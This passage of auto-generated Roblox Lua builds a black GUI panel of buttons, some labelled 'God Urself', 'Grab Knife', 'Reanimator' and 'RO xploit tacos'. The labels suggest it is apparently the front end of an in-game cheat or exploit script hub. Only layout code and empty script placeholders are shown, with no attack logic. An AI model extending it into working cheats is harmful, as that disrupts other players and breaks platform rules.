G2L["68"]["Position"] = UDim2.new(0.01875, 0, 0.02013, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["69"] = Instance.new("LocalScript", G2L["68"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["6a"] = Instance.new("TextButton", G2L["51"]);
G2L["6a"]["TextWrapped"] = true;
G2L["6a"]["TextStrokeTransparency"] = 0;
G2L["6a"]["BorderSizePixel"] = 2;
G2L["6a"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["6a"]["TextSize"] = 14;
G2L["6a"]["TextScaled"] = true;
G2L["6a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6a"]["Size"] = UDim2.new(0, 94, 0, 69);
G2L["6a"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["6a"]["Text"] = [[God Urself bc why not]];
G2L["6a"]["Position"] = UDim2.new(0.01875, 0, 0.26846, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["6b"] = Instance.new("LocalScript", G2L["6a"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["6c"] = Instance.new("TextButton", G2L["51"]);
G2L["6c"]["TextWrapped"] = true;
G2L["6c"]["TextStrokeTransparency"] = 0;
G2L["6c"]["BorderSizePixel"] = 2;
G2L["6c"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["6c"]["TextSize"] = 14;
G2L["6c"]["TextScaled"] = true;
G2L["6c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6c"]["Size"] = UDim2.new(0, 44, 0, 64);
G2L["6c"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["6c"]["Text"] = [[LoadMap]];
G2L["6c"]["Position"] = UDim2.new(0.01875, 0, 0.75839, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["6d"] = Instance.new("LocalScript", G2L["6c"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["6e"] = Instance.new("TextButton", G2L["51"]);
G2L["6e"]["TextWrapped"] = true;
G2L["6e"]["TextStrokeTransparency"] = 0;
G2L["6e"]["BorderSizePixel"] = 2;
G2L["6e"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["6e"]["TextSize"] = 14;
G2L["6e"]["TextScaled"] = true;
G2L["6e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6e"]["Size"] = UDim2.new(0, 94, 0, 64);
G2L["6e"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["6e"]["Text"] = [[Avatars]];
G2L["6e"]["Position"] = UDim2.new(0.01875, 0, 0.52013, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["6f"] = Instance.new("LocalScript", G2L["6e"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["70"] = Instance.new("TextButton", G2L["51"]);
G2L["70"]["TextWrapped"] = true;
G2L["70"]["TextStrokeTransparency"] = 0;
G2L["70"]["BorderSizePixel"] = 2;
G2L["70"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["70"]["TextSize"] = 14;
G2L["70"]["TextScaled"] = true;
G2L["70"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["70"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["70"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["70"]["Size"] = UDim2.new(0, 42, 0, 64);
G2L["70"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["70"]["Text"] = [[Savemap]];
G2L["70"]["Position"] = UDim2.new(0.12708, 0, 0.75839, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["71"] = Instance.new("LocalScript", G2L["70"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton
G2L["72"] = Instance.new("TextButton", G2L["2"]);
G2L["72"]["TextWrapped"] = true;
G2L["72"]["TextStrokeTransparency"] = 0;
G2L["72"]["BorderSizePixel"] = 2;
G2L["72"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["72"]["TextSize"] = 14;
G2L["72"]["TextScaled"] = true;
G2L["72"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["72"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["72"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["72"]["Size"] = UDim2.new(0, 80, 0, 29);
G2L["72"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["72"]["Text"] = [[HD Admin Page]];
G2L["72"]["Position"] = UDim2.new(0.46367, 0, -1.03242, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
G2L["73"] = Instance.new("LocalScript", G2L["72"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb
G2L["74"] = Instance.new("Frame", G2L["2"]);
G2L["74"]["Visible"] = false;
G2L["74"]["BorderSizePixel"] = 2;
G2L["74"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["74"]["Size"] = UDim2.new(0, 480, 0, 298);
G2L["74"]["Position"] = UDim2.new(-0.00208, 0, 1, 0);
G2L["74"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["74"]["Name"] = [[scrept heb]];


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["75"] = Instance.new("TextButton", G2L["74"]);
G2L["75"]["TextWrapped"] = true;
G2L["75"]["TextStrokeTransparency"] = 0;
G2L["75"]["BorderSizePixel"] = 2;
G2L["75"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["75"]["TextSize"] = 14;
G2L["75"]["TextScaled"] = true;
G2L["75"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["75"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["75"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["75"]["Size"] = UDim2.new(0, 88, 0, 23);
G2L["75"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["75"]["Text"] = [[Grab Knife]];
G2L["75"]["Position"] = UDim2.new(0.01875, 0, 0.0302, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["76"] = Instance.new("LocalScript", G2L["75"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["77"] = Instance.new("TextButton", G2L["74"]);
G2L["77"]["TextWrapped"] = true;
G2L["77"]["TextStrokeTransparency"] = 0;
G2L["77"]["BorderSizePixel"] = 2;
G2L["77"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["77"]["TextSize"] = 14;
G2L["77"]["TextScaled"] = true;
G2L["77"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["77"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["77"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["77"]["Size"] = UDim2.new(0, 88, 0, 23);
G2L["77"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["77"]["Text"] = [[Reanimator]];
G2L["77"]["Position"] = UDim2.new(0.27083, 0, 0.0302, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["78"] = Instance.new("LocalScript", G2L["77"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["79"] = Instance.new("TextButton", G2L["74"]);
G2L["79"]["TextWrapped"] = true;
G2L["79"]["TextStrokeTransparency"] = 0;
G2L["79"]["BorderSizePixel"] = 2;
G2L["79"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["79"]["TextSize"] = 14;
G2L["79"]["TextScaled"] = true;
G2L["79"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["79"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["79"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["79"]["Size"] = UDim2.new(0, 88, 0, 23);
G2L["79"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["79"]["Text"] = [[John Doe]];
G2L["79"]["Position"] = UDim2.new(0.52708, 0, 0.0302, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["7a"] = Instance.new("LocalScript", G2L["79"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["7b"] = Instance.new("TextButton", G2L["74"]);
G2L["7b"]["TextWrapped"] = true;
G2L["7b"]["TextStrokeTransparency"] = 0;
G2L["7b"]["BorderSizePixel"] = 2;
G2L["7b"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["7b"]["TextSize"] = 14;
G2L["7b"]["TextScaled"] = true;
G2L["7b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7b"]["Size"] = UDim2.new(0, 88, 0, 23);
G2L["7b"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["7b"]["Text"] = [[Shedletsky ]];
G2L["7b"]["Position"] = UDim2.new(0.7875, 0, 0.0302, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["7c"] = Instance.new("LocalScript", G2L["7b"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["7d"] = Instance.new("TextButton", G2L["74"]);
G2L["7d"]["TextWrapped"] = true;
G2L["7d"]["TextStrokeTransparency"] = 0;
G2L["7d"]["BorderSizePixel"] = 2;
G2L["7d"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["7d"]["TextSize"] = 14;
G2L["7d"]["TextScaled"] = true;
G2L["7d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7d"]["Size"] = UDim2.new(0, 88, 0, 23);
G2L["7d"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["7d"]["Text"] = [[Green2Spooky Spinning]];
G2L["7d"]["Position"] = UDim2.new(0.7875, 0, 0.15772, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["7e"] = Instance.new("LocalScript", G2L["7d"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["7f"] = Instance.new("TextButton", G2L["74"]);
G2L["7f"]["TextWrapped"] = true;
G2L["7f"]["TextStrokeTransparency"] = 0;
G2L["7f"]["BorderSizePixel"] = 2;
G2L["7f"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["7f"]["TextSize"] = 14;
G2L["7f"]["TextScaled"] = true;
G2L["7f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7f"]["Size"] = UDim2.new(0, 88, 0, 23);
G2L["7f"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["7f"]["Text"] = [[Obunga]];
G2L["7f"]["Position"] = UDim2.new(0.52708, 0, 0.15772, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["80"] = Instance.new("LocalScript", G2L["7f"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["81"] = Instance.new("TextButton", G2L["74"]);
G2L["81"]["TextWrapped"] = true;
G2L["81"]["TextStrokeTransparency"] = 0;
G2L["81"]["BorderSizePixel"] = 2;
G2L["81"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["81"]["TextSize"] = 14;
G2L["81"]["TextScaled"] = true;
G2L["81"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["81"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["81"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["81"]["Size"] = UDim2.new(0, 88, 0, 23);
G2L["81"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["81"]["Text"] = [[Toadroast]];
G2L["81"]["Position"] = UDim2.new(0.27083, 0, 0.15772, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["82"] = Instance.new("LocalScript", G2L["81"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["83"] = Instance.new("TextButton", G2L["74"]);
G2L["83"]["TextWrapped"] = true;
G2L["83"]["TextStrokeTransparency"] = 0;
G2L["83"]["BorderSizePixel"] = 2;
G2L["83"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["83"]["TextSize"] = 14;
G2L["83"]["TextScaled"] = true;
G2L["83"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["83"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["83"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["83"]["Size"] = UDim2.new(0, 88, 0, 23);
G2L["83"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["83"]["Text"] = [[Spookeh Skeleton]];
G2L["83"]["Position"] = UDim2.new(0.01875, 0, 0.15772, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["84"] = Instance.new("LocalScript", G2L["83"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["85"] = Instance.new("TextButton", G2L["74"]);
G2L["85"]["TextWrapped"] = true;
G2L["85"]["TextStrokeTransparency"] = 0;
G2L["85"]["BorderSizePixel"] = 2;
G2L["85"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["85"]["TextSize"] = 14;
G2L["85"]["TextScaled"] = true;
G2L["85"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["85"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["85"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["85"]["Size"] = UDim2.new(0, 216, 0, 45);
G2L["85"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["85"]["Text"] = [[Realm]];
G2L["85"]["Position"] = UDim2.new(0.01875, 0, 0.27517, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["86"] = Instance.new("LocalScript", G2L["85"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["87"] = Instance.new("TextButton", G2L["74"]);
G2L["87"]["TextWrapped"] = true;
G2L["87"]["TextStrokeTransparency"] = 0;
G2L["87"]["BorderSizePixel"] = 2;
G2L["87"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["87"]["TextSize"] = 14;
G2L["87"]["TextScaled"] = true;
G2L["87"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["87"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["87"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["87"]["Size"] = UDim2.new(0, 213, 0, 30);
G2L["87"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["87"]["Text"] = [[Ball Rain]];
G2L["87"]["Position"] = UDim2.new(0.52708, 0, 0.27852, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["88"] = Instance.new("LocalScript", G2L["87"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["89"] = Instance.new("TextButton", G2L["74"]);
G2L["89"]["TextWrapped"] = true;
G2L["89"]["TextStrokeTransparency"] = 0;
G2L["89"]["BorderSizePixel"] = 2;
G2L["89"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["89"]["TextSize"] = 14;
G2L["89"]["TextScaled"] = true;
G2L["89"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["89"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["89"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["89"]["Size"] = UDim2.new(0, 213, 0, 30);
G2L["89"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["89"]["Text"] = [[Anti-Robloxia]];
G2L["89"]["Position"] = UDim2.new(0.52708, 0, 0.42617, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["8a"] = Instance.new("LocalScript", G2L["89"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["8b"] = Instance.new("TextButton", G2L["74"]);
G2L["8b"]["TextWrapped"] = true;
G2L["8b"]["TextStrokeTransparency"] = 0;
G2L["8b"]["BorderSizePixel"] = 2;
G2L["8b"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["8b"]["TextSize"] = 14;
G2L["8b"]["TextScaled"] = true;
G2L["8b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8b"]["Size"] = UDim2.new(0, 213, 0, 30);
G2L["8b"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["8b"]["Text"] = [[Patrick Wraith]];
G2L["8b"]["Position"] = UDim2.new(0.52708, 0, 0.56376, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["8c"] = Instance.new("LocalScript", G2L["8b"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["8d"] = Instance.new("TextButton", G2L["74"]);
G2L["8d"]["TextWrapped"] = true;
G2L["8d"]["TextStrokeTransparency"] = 0;
G2L["8d"]["BorderSizePixel"] = 2;
G2L["8d"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["8d"]["TextSize"] = 14;
G2L["8d"]["TextScaled"] = true;
G2L["8d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8d"]["Size"] = UDim2.new(0, 213, 0, 30);
G2L["8d"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["8d"]["Text"] = [[Random Rotation]];
G2L["8d"]["Position"] = UDim2.new(0.52708, 0, 0.69463, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["8e"] = Instance.new("LocalScript", G2L["8d"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["8f"] = Instance.new("TextButton", G2L["74"]);
G2L["8f"]["TextWrapped"] = true;
G2L["8f"]["TextStrokeTransparency"] = 0;
G2L["8f"]["BorderSizePixel"] = 2;
G2L["8f"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["8f"]["TextSize"] = 14;
G2L["8f"]["TextScaled"] = true;
G2L["8f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8f"]["Size"] = UDim2.new(0, 102, 0, 30);
G2L["8f"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["8f"]["Text"] = [[Neon All]];
G2L["8f"]["Position"] = UDim2.new(0.52708, 0, 0.83221, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["90"] = Instance.new("LocalScript", G2L["8f"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["91"] = Instance.new("TextButton", G2L["74"]);
G2L["91"]["TextWrapped"] = true;
G2L["91"]["TextStrokeTransparency"] = 0;
G2L["91"]["BorderSizePixel"] = 2;
G2L["91"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["91"]["TextSize"] = 14;
G2L["91"]["TextScaled"] = true;
G2L["91"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["91"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["91"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["91"]["Size"] = UDim2.new(0, 102, 0, 30);
G2L["91"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["91"]["Text"] = [[Random Color]];
G2L["91"]["Position"] = UDim2.new(0.75833, 0, 0.83221, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["92"] = Instance.new("LocalScript", G2L["91"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["93"] = Instance.new("TextButton", G2L["74"]);
G2L["93"]["TextWrapped"] = true;
G2L["93"]["TextStrokeTransparency"] = 0;
G2L["93"]["BorderSizePixel"] = 2;
G2L["93"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["93"]["TextSize"] = 14;
G2L["93"]["TextScaled"] = true;
G2L["93"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["93"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["93"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["93"]["Size"] = UDim2.new(0, 209, 0, 45);
G2L["93"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["93"]["Text"] = [[RO xploit tacos]];
G2L["93"]["Position"] = UDim2.new(0.03125, 0, 0.78188, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["94"] = Instance.new("LocalScript", G2L["93"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["95"] = Instance.new("TextButton", G2L["74"]);
G2L["95"]["TextWrapped"] = true;
G2L["95"]["TextStrokeTransparency"] = 0;
G2L["95"]["BorderSizePixel"] = 2;
G2L["95"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["95"]["TextSize"] = 14;
G2L["95"]["TextScaled"] = true;
G2L["95"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["95"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["95"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["95"]["Size"] = UDim2.new(0, 100, 0, 43);
G2L["95"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["95"]["Text"] = [[Thomas]];
G2L["95"]["Position"] = UDim2.new(0.02617, 0, 0.46309, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["96"] = Instance.new("LocalScript", G2L["95"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["97"] = Instance.new("TextButton", G2L["74"]);
G2L["97"]["TextWrapped"] = true;
G2L["97"]["TextStrokeTransparency"] = 0;
G2L["97"]["BorderSizePixel"] = 2;
G2L["97"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["97"]["TextSize"] = 14;
G2L["97"]["TextScaled"] = true;
G2L["97"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["97"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["97"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["97"]["Size"] = UDim2.new(0, 100, 0, 43);
G2L["97"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["97"]["Text"] = [[Mr Bean Orb (Unleaked)]];
G2L["97"]["Position"] = UDim2.new(0.25742, 0, 0.46309, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["98"] = Instance.new("LocalScript", G2L["97"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["99"] = Instance.new("TextButton", G2L["74"]);
G2L["99"]["TextWrapped"] = true;
G2L["99"]["TextStrokeTransparency"] = 0;
G2L["99"]["BorderSizePixel"] = 2;
G2L["99"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["99"]["TextSize"] = 14;
G2L["99"]["TextScaled"] = true;
G2L["99"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["99"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["99"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["99"]["Size"] = UDim2.new(0, 97, 0, 38);
G2L["99"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["99"]["Text"] = [[TrashGui (not trash)]];
G2L["99"]["Position"] = UDim2.new(0.03125, 0, 0.63758, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["9a"] = Instance.new("LocalScript", G2L["99"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton
G2L["9b"] = Instance.new("TextButton", G2L["74"]);
G2L["9b"]["TextWrapped"] = true;
G2L["9b"]["TextStrokeTransparency"] = 0;
G2L["9b"]["BorderSizePixel"] = 2;
G2L["9b"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["9b"]["TextSize"] = 14;
G2L["9b"]["TextScaled"] = true;
G2L["9b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9b"]["Size"] = UDim2.new(0, 97, 0, 38);
G2L["9b"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["9b"]["Text"] = [[Doggo Remake]];
G2L["9b"]["Position"] = UDim2.new(0.26042, 0, 0.63758, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
G2L["9c"] = Instance.new("LocalScript", G2L["9b"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton
G2L["9d"] = Instance.new("TextButton", G2L["2"]);
G2L["9d"]["TextWrapped"] = true;
G2L["9d"]["TextStrokeTransparency"] = 0;
G2L["9d"]["BorderSizePixel"] = 2;
G2L["9d"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["9d"]["TextSize"] = 14;
G2L["9d"]["TextScaled"] = true;
G2L["9d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
